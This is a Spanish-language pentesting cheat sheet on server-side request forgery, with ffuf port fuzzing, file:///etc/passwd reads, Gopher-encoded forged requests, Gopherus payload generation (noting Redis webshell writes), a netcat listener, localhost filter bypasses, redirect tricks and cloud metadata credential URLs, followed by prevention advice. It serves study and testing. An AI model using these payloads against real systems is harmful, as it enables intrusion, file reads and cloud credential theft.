SSRF (Server-Side Request Forgery)
SSRF ocurre cuando una aplicación web realiza una petición HTTP (u otro protocolo) hacia una URL que el atacante puede controlar total o parcialmente. Esto permite forzar al servidor a interactuar con sistemas internos que normalmente no serían alcanzables desde fuera de la red (paneles de administración internos, bases de datos, servicios de metadata en la nube), o incluso a leer archivos locales del propio servidor mediante esquemas de URL alternativos.
Enumeración del sistema interno vía SSRF
Cuando un parámetro de la aplicación acepta una URL (por ejemplo, para consultar un servicio externo de fecha/hora), se puede fuzzear el puerto para descubrir qué servicios están escuchando localmente en el servidor:
❯ ffuf -w ./ports.txt -u http://172.16.73.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"
<SNIP>
[Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 0ms]
* FUZZ: 3306
[Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 338ms]
* FUZZ: 80-fr "Failed to connect to": filtra (oculta) las respuestas que contienen el mensaje de error de conexión rechazada, dejando visibles solo los puertos donde sí hay un servicio escuchando — verweb_fuzzing.mdpara más detalle sobre este flag.- El puerto
3306(MySQL) apareciendo como "abierto" en este contexto no significa que se pueda interactuar completamente con él vía HTTP, pero confirma su existencia — útil para mapear la topología interna del servidor.
Fuzzing de subdominios/hosts internos alcanzables únicamente desde dentro de la red del servidor (invisibles desde fuera):
❯ ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://172.16.73.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://internal-service.local/FUZZ.php&date=2024-01-01" -fr "Server at internal-service.local Port 80"Local File Inclusion (LFI) vía esquema de URL file://
Dado que el esquema de la URL es parte de lo que la aplicación procesa, se puede sustituir http:// por file:// para leer archivos locales del sistema de archivos del servidor:
file:///etc/passwd- Esta técnica funciona porque muchas librerías HTTP del lado del servidor (cURL,
file_get_contentsen PHP,requestsen Python en ciertas configuraciones) soportan de forma nativa múltiples esquemas de URL más allá de HTTP/HTTPS, y la aplicación rara vez restringe explícitamente el esquema permitido. - Ver
lfi.mdpara más wrappers PHP relevantes que también pueden combinarse aquí (php://filter, etc.) si el backend es PHP.
Protocolo Gopher — enviando peticiones POST arbitrarias
El esquema http:// en la mayoría de contextos SSRF solo permite peticiones GET (no hay forma nativa de especificar un método/cuerpo POST solo con la URL). El protocolo Gopher, en cambio, permite construir el contenido exacto de una petición TCP byte por byte, lo que posibilita fabricar una petición HTTP POST completa:
Petición POST objetivo que se desea falsificar:
POST /admin.php HTTP/1.1
Host: internal-service.local
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
adminpw=adminCodificada como URL Gopher:
gopher://internal-service.local:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20internal-service.local%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3DadminInsertada como el valor del parámetro vulnerable (nótese la doble codificación URL, ya que el propio parámetro va dentro de otra petición HTTP):
POST /index.php HTTP/1.1
Host: 172.16.73.10
Content-Length: 265
Content-Type: application/x-www-form-urlencoded
dateserver=gopher%3a//internal-service.local%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520internal-service.local%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01Interactuando con otros servicios internos (no solo HTTP) vía Gopher
Gopher no está limitado a HTTP: permite enviar cualquier secuencia de bytes a cualquier puerto TCP interno, lo que habilita interactuar con protocolos de texto plano como SMTP, Redis, Memcached, o incluso el protocolo binario de MySQL en ciertos casos. Construir estas URLs manualmente es tedioso y propenso a errores — la herramienta Gopherus automatiza la generación:
❯ python2.7 gopherus.py
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
usage: gopherus.py [-h] [--exploit EXPLOIT]
optional arguments:
-h, --help show this help message and exit
--exploit EXPLOIT mysql, postgresql, fastcgi, redis, smtp, zabbix,
pymemcache, rbmemcache, phpmemcache, dmpmemcacheEjemplo generando una URL Gopher para enviar un correo vía un servidor SMTP interno:
❯ python2.7 gopherus.py --exploit smtp
Give Details to send mail:
Mail from : attacker@domain.local
Mail To : victim@domain.local
Subject : HelloWorld
Message : Hello from SSRF!
Your gopher link is ready to send Mail:
gopher://127.0.0.1:25/_MAIL%20FROM:attacker%40domain.local%0ARCPT%20To:victim%40domain.local%0ADATA%0AFrom:attacker%40domain.local%0ASubject:HelloWorld%0AMessage:Hello%20from%20SSRF%21%0A.
-----------Made-by-SpyD3r------------ El módulo
redisde Gopherus es particularmente potente: puede generar payloads para escribir un webshell directamente en el disco a través de comandos Redis (CONFIG SET/SAVE), si el Redis interno no tiene autenticación — un salto directo de SSRF a RCE. - El módulo
fastcgi/phpmemcachecubre escenarios similares contra PHP-FPM o Memcached expuestos internamente.
Blind SSRF
Cuando la aplicación no refleja ninguna respuesta visible de la petición SSRF, hay que confirmar la interacción por vías indirectas.
Confirmación con listener propio
❯ nc -lnvp 8000
listening on [any] 8000 ...
connect to [172.16.73.1] from (UNKNOWN) [172.16.73.10] 32928
GET /index.php HTTP/1.1
Host: 172.16.73.1:8000
Accept: */*Petición del lado del atacante hacia la aplicación objetivo, apuntando el parámetro vulnerable hacia el propio listener:
POST /index.php HTTP/1.1
Host: 172.16.73.20
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://172.16.73.20
Connection: keep-alive
Referer: http://172.16.73.20/
dateserver=http://192.168.60.5&date=2024-01-01Explotando Blind SSRF: enumeración de puertos por tiempo/comportamiento
Sin ver la respuesta directamente, se puede inferir qué puertos están abiertos comparando el tiempo de respuesta o el comportamiento de error (una petición a un puerto cerrado suele fallar rápido con "connection refused"; a un puerto abierto pero que no habla HTTP puede colgarse hasta timeout; a un puerto HTTP real responde con normalidad):
POST /index.php HTTP/1.1
Host: 172.16.73.20
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
dateserver=http://127.0.0.1:81&date=2024-01-01POST /index.php HTTP/1.1
Host: 172.16.73.20
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
dateserver=http://127.0.0.1:8080&date=2024-01-01POST /index.php HTTP/1.1
Host: 172.16.73.20
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
dateserver=http://127.0.0.1:8000&date=2024-01-01- Automatizar este proceso con
ffufsobre el rango completo de puertos (como en la sección de enumeración inicial) es mucho más eficiente que probar puerto por puerto manualmente.
Bypass de listas negras/filtros de URL
Cuando la aplicación intenta bloquear SSRF filtrando localhost/127.0.0.1/IPs privadas mediante comparación de texto simple, existen varias representaciones alternativas de la misma dirección que a menudo evaden el filtro:
http://127.1/
http://0.0.0.0/
http://0177.0.0.1/ (127.0.0.1 en octal)
http://2130706433/ (127.0.0.1 como entero decimal)
http://0x7f.0x0.0x0.0x1/ (127.0.0.1 en hexadecimal)
http://localtest.me/ (dominio público que resuelve a 127.0.0.1)
http://[::1]/ (localhost en IPv6)
http://127.0.0.1.nip.io/ (servicio de DNS wildcard que resuelve al IP indicado en el propio nombre)- Cada una de estas representaciones es resuelta por la mayoría de los stacks de red del sistema operativo exactamente igual que
127.0.0.1, pero como cadena de texto son completamente distintas — un filtro que solo comparastrpos($url, '127.0.0.1')no las detecta.
Bypass vía redirección HTTP
Si la aplicación valida la URL inicial pero sigue redirecciones automáticamente (Location: de un 3xx), se puede alojar un endpoint propio que redirija hacia el objetivo interno real:
http://TU_SERVIDOR/redirect?to=http://169.254.169.254/latest/meta-data/- El filtro solo ve y valida
TU_SERVIDOR(un dominio externo legítimo), pero la librería HTTP del servidor sigue la redirección hacia el destino interno real sin volver a aplicar la validación.
Bypass vía inconsistencias del parser de URL
http://usuario_esperado@127.0.0.1/ (el "usuario" antes de @ engaña a validaciones ingenuas de dominio)
http://127.0.0.1#@dominio-esperado.com/
http://dominio-esperado.com\@127.0.0.1/- Estas técnicas explotan diferencias entre cómo distintos parsers de URL (el que usa la validación vs. el que usa la librería HTTP real) interpretan el componente de "host" cuando hay caracteres especiales (
@,#,\) presentes — un problema clásico de "parser confusion".
Metadata de proveedores cloud (impacto crítico común)
# AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Google Cloud
http://metadata.google.internal/computeMetadata/v1/ -H "Metadata-Flavor: Google"
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata:true"
# DigitalOcean
http://169.254.169.254/metadata/v1/- En Google Cloud y Azure, la cabecera especial (
Metadata-Flavor/Metadata) es obligatoria — si el SSRF no permite controlar cabeceras personalizadas (solo la URL), estos dos proveedores son más difíciles de explotar completamente que AWS.
Prevención de SSRF
Si la aplicación web obtiene datos de un host remoto según la entrada del usuario, es crucial implementar medidas de seguridad adecuadas:
- Lista blanca de destinos: los datos del origen remoto deben verificarse contra una lista blanca explícita, no una lista negra — una lista blanca impide que un atacante realice solicitudes no deseadas a sistemas internos, mientras que una lista negra siempre es incompleta frente a las técnicas de bypass mostradas arriba.
- Restricción de esquema/protocolo: el esquema de URL debe restringirse explícitamente a
http/https(rechazandofile://,gopher://,dict://, etc.), en vez de intentar bloquear esquemas peligrosos uno por uno. - Sanitización de entrada: como con cualquier entrada de usuario, ayuda a prevenir comportamientos inesperados, aunque no sustituye a la lista blanca.
- Reglas de firewall en la capa de red: restringir las conexiones salientes del servidor de aplicación solo a los destinos estrictamente necesarios mitiga el impacto incluso si la validación a nivel de aplicación falla.
- Segmentación de red: evita que un SSRF exitoso en un servicio permita alcanzar otros sistemas internos críticos, limitando el radio de impacto.
- Deshabilitar seguimiento de redirecciones en la librería HTTP usada para las peticiones salientes, o revalidar la URL de destino tras cada salto de redirección.
Referencia completa: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html